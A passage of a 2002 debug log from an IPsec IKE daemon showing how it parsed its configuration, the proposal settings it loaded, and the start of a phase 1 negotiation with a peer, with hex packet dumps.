2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:167:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:191:yylex(): begin <25>remote
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <25>
2002-07-30 09:07:43: DEBUG2: cftoken.l:261:yylex(): <25>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:196:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:199:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:197:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:200:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:201:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:202:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:203:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:204:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:208:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:209:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:219:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:230:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:231:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:342:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:222:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:247:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:221:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:247:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:223:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:224:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:234:yylex(): begin <29>proposal
2002-07-30 09:07:43: DEBUG2: cftoken.l:237:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:238:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:240:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:242:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:301:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:241:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:320:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:243:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cfparse.y:1172:set_isakmp_proposal(): lifetime
= 3600
2002-07-30 09:07:43: DEBUG2: cfparse.y:1175:set_isakmp_proposal(): lifebyte
= 0
2002-07-30 09:07:43: DEBUG2: cfparse.y:1178:set_isakmp_proposal(): encklen=0
2002-07-30 09:07:43: DEBUG2: cfparse.y:1241:expand_isakmpspec(): p:1 t:1
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): DES-CBC(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): MD5(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): 768-bit
MODP group(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): pre-shared
key(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1252:expand_isakmpspec():
2002-07-30 09:07:43: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:43: DEBUG2: cftoken.l:171:yylex(): begin <21>sainfo
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:174:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:174:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:179:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:182:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:183:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:185:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:186:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:294:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:187:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:308:yylex(): <23>
2002-07-30 09:07:43: DEBUG: pfkey.c:2240:pk_checkalg(): compression
algorithm can not be checked because sadb message doesn't support it.
2002-07-30 09:07:43: DEBUG2: cftoken.l:191:yylex(): begin <25>remote
2002-07-30 09:07:43: DEBUG2: cftoken.l:192:yylex(): <25>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:196:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:200:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:197:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:199:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:201:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:202:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:203:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:204:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:208:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:329:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:209:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:329:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:219:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:230:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:231:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:342:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:222:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:247:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:221:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:247:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:223:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:224:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:234:yylex(): begin <29>proposal
2002-07-30 09:07:43: DEBUG2: cftoken.l:240:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:242:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:301:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:241:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:320:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:243:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cfparse.y:1172:set_isakmp_proposal(): lifetime
= 60
2002-07-30 09:07:43: DEBUG2: cfparse.y:1175:set_isakmp_proposal(): lifebyte
= 0
2002-07-30 09:07:43: DEBUG2: cfparse.y:1178:set_isakmp_proposal(): encklen=0

2002-07-30 09:07:43: DEBUG2: cfparse.y:1241:expand_isakmpspec(): p:1 t:1
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): DES-CBC(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): MD5(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): 768-bit
MODP group(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): pre-shared
key(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1252:expand_isakmpspec():
2002-07-30 09:07:43: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:43: DEBUG2: cftoken.l:191:yylex(): begin <25>remote
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <25>
2002-07-30 09:07:43: DEBUG2: cftoken.l:261:yylex(): <25>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:196:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:200:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:197:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:199:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:201:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:202:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:203:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:204:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:208:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:329:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:209:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:329:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:219:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:230:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:231:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:342:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <27>
2002-07-30 09:07:43: DEBUG2: cftoken.l:234:yylex(): begin <29>proposal
2002-07-30 09:07:43: DEBUG2: cftoken.l:240:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:281:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:242:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:302:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:241:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:320:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:243:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <29>
2002-07-30 09:07:43: DEBUG2: cfparse.y:1172:set_isakmp_proposal(): lifetime
= 60
2002-07-30 09:07:43: DEBUG2: cfparse.y:1175:set_isakmp_proposal(): lifebyte
= 0
2002-07-30 09:07:43: DEBUG2: cfparse.y:1178:set_isakmp_proposal(): encklen=0
2002-07-30 09:07:43: DEBUG2: cfparse.y:1241:expand_isakmpspec(): p:1 t:1
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): 3DES-CBC(5)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): SHA(2)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): 1024-bit
MODP group(2)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1245:expand_isakmpspec(): pre-shared
key(1)
2002-07-30 09:07:43: DEBUG2: cfparse.y:1252:expand_isakmpspec():
2002-07-30 09:07:43: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp1024)
2002-07-30 09:07:43: DEBUG2: cftoken.l:171:yylex(): begin <21>sainfo
2002-07-30 09:07:43: DEBUG2: cftoken.l:172:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:179:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:182:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:183:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:185:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:186:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:294:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:187:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:308:yylex(): <23>
2002-07-30 09:07:43: DEBUG: pfkey.c:2240:pk_checkalg(): compression
algorithm can not be checked because sadb message doesn't support it.
2002-07-30 09:07:43: DEBUG2: cftoken.l:171:yylex(): begin <21>sainfo
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:174:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:174:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:179:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:182:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:183:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:185:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:186:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:294:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:187:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:308:yylex(): <23>
2002-07-30 09:07:43: DEBUG: pfkey.c:2240:pk_checkalg(): compression
algorithm can not be checked because sadb message doesn't support it.
2002-07-30 09:07:43: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo
selected.
2002-07-30 09:07:43: DEBUG2: cftoken.l:171:yylex(): begin <21>sainfo
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:274:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:332:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:274:yylex(): <21>
2002-07-30 09:07:43: DEBUG2: cftoken.l:179:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:182:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:183:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:185:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:281:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:188:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:284:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:188:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:285:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:188:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:280:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:186:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:295:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:188:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:294:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:187:yylex(): <23>
2002-07-30 09:07:43: DEBUG2: cftoken.l:308:yylex(): <23>
2002-07-30 09:07:43: DEBUG: pfkey.c:2240:pk_checkalg(): compression
algorithm can not be checked because sadb message doesn't support it.
2002-07-30 09:07:43: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo
selected.
2002-07-30 09:07:43: DEBUG2: cfparse.y:1354:cfparse(): parse successed.
2002-07-30 09:07:43: INFO: isakmp.c:1357:isakmp_open(): xxx.xxx.xxx.70[500]
used as isakmp port (fd=6)
2002-07-30 09:07:43: DEBUG: pfkey.c:192:pfkey_handler(): get pfkey X_SPDDUMP
message
2002-07-30 09:07:43: DEBUG2: plog.c:193:plogdump():
02120000 0f000100 01000000 01010000 03000500 ff200000 10020000 c0a80537
00000000 00000000 03000600 ff200000 10020000 0a000001 00000000 00000000
07001200 02000100 04000000 00000000 28003200 02020000 10020000 3ee99b3e
00000000 00000000 10020000 d4f46346 00000000 00000000
2002-07-30 09:07:43: DEBUG: pfkey.c:192:pfkey_handler(): get pfkey X_SPDDUMP
message
2002-07-30 09:07:43: DEBUG2: plog.c:193:plogdump():
02120000 0f000100 00000000 01010000 03000500 ff200000 10020000 0a000001
00000000 00000000 03000600 ff200000 10020000 c0a80537 00000000 00000000
07001200 02000200 03000000 00000000 28003200 02020000 10020000 d4f46346
00000000 00000000 10020000 3ee99b3e 00000000 00000000
2002-07-30 09:07:43: DEBUG: policy.c:184:cmpspidxstrict(): sub:0xbfbff980:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:43: DEBUG: policy.c:185:cmpspidxstrict(): db :0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:219:isakmp_handler(): 116 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 00000000 00000000 01100200 00000000 00000074 00000058
00000001 00000001 0000004c 01010002 03000020 01010000 80010001 80020001
80040001 80030001 800b0001 800c03e8 00000024 02010000 80010001 80020001
80040002 80030001 800b0001 000c0004 00015180
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.220551 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
00000000: phase 1 I ident:
    (sa: doi=ipsec situation=identity
        (p: #1 protoid=isakmp transform=2
            (t: #1 id=ike (type=enc value=1des)(type=hash
value=md5)(type=group desc value=modp768)(type=auth
value=preshared)(type=lifetype value=sec)(type=lifeduration value=03e8))
            (t: #2 id=ike (type=enc value=1des)(type=hash
value=md5)(type=group desc value=modp1024)(type=auth
value=preshared)(type=lifetype value=sec)(type=lifeduration len=4
value=00015180))))
2002-07-30 09:07:46: DEBUG: remoteconf.c:118:getrmconf(): configuration
found for yyy.yyy.yyy.62[500].
2002-07-30 09:07:46: DEBUG: isakmp.c:886:isakmp_ph1begin_r(): ===
2002-07-30 09:07:46: INFO: isakmp.c:891:isakmp_ph1begin_r(): respond new
phase 1 negotiation: xxx.xxx.xxx.70[500]<=>yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: INFO: isakmp.c:896:isakmp_ph1begin_r(): begin Identity
Protection mode.
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=1(sa)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1117:get_proppair(): total SA len=84
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
00000001 00000001 0000004c 01010002 03000020 01010000 80010001 80020001
80040001 80030001 800b0001 800c03e8 00000024 02010000 80010001 80020001
80040002 80030001 800b0001 000c0004 00015180
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=76
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=32
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp():
type=Encryption Algorithm, flag=0x8000, lorv=DES-CBC
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Hash
Algorithm, flag=0x8000, lorv=MD5
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Group
Description, flag=0x8000, lorv=768-bit MODP group
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp():
type=Authentication Method, flag=0x8000, lorv=pre-shared key
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Life
Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Life
Duration, flag=0x8000, lorv=1000
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #2
len=36
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp():
type=Encryption Algorithm, flag=0x8000, lorv=DES-CBC
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Hash
Algorithm, flag=0x8000, lorv=MD5
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Group
Description, flag=0x8000, lorv=1024-bit MODP group
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp1024)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp():
type=Authentication Method, flag=0x8000, lorv=pre-shared key
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Life
Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1870:check_attr_isakmp(): type=Life
Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1213:get_proppair(): pair 1:
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():  0x80a96f0:
next=0x0 tnext=0x80a9700
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():   0x80a9700:
next=0x0 tnext=0x0
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1248:get_proppair(): proposal #1: 2
transform
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:322:get_ph1approvalx(): prop#=1,
prot-id=ISAKMP, spi-size=0, #trns=2
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:327:get_ph1approvalx(): trns#=1,
trns-id=IKE
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa(): type=Encryption
Algorithm, flag=0x8000, lorv=DES-CBC
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa(): type=Hash
Algorithm, flag=0x8000, lorv=MD5
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa(): type=Group
Description, flag=0x8000, lorv=768-bit MODP group
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa():
type=Authentication Method, flag=0x8000, lorv=pre-shared key
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa(): type=Life Type,
flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:491:t2isakmpsa(): type=Life
Duration, flag=0x8000, lorv=1000
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:338:get_ph1approvalx(): Compared:
DB:Peer
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:339:get_ph1approvalx(): (lifetime =
3600:1000)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:341:get_ph1approvalx(): (lifebyte =
0:0)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:343:get_ph1approvalx(): enctype =
DES-CBC:DES-CBC
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:348:get_ph1approvalx(): (encklen =
0:0)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:350:get_ph1approvalx(): hashtype =
MD5:MD5
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:355:get_ph1approvalx(): authmethod =
pre-shared key:pre-shared key
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:360:get_ph1approvalx(): dh_group =
768-bit MODP group:768-bit MODP group
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:248:get_ph1approval(): an acceptable
proposal found.
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: isakmp.c:1993:isakmp_newcookie(): new cookie:
1cbebccdd7441a4e
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 48, next type 13
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 16, next type 0
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.226428 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (sa: doi=ipsec situation=identity
        (p: #1 protoid=isakmp transform=1
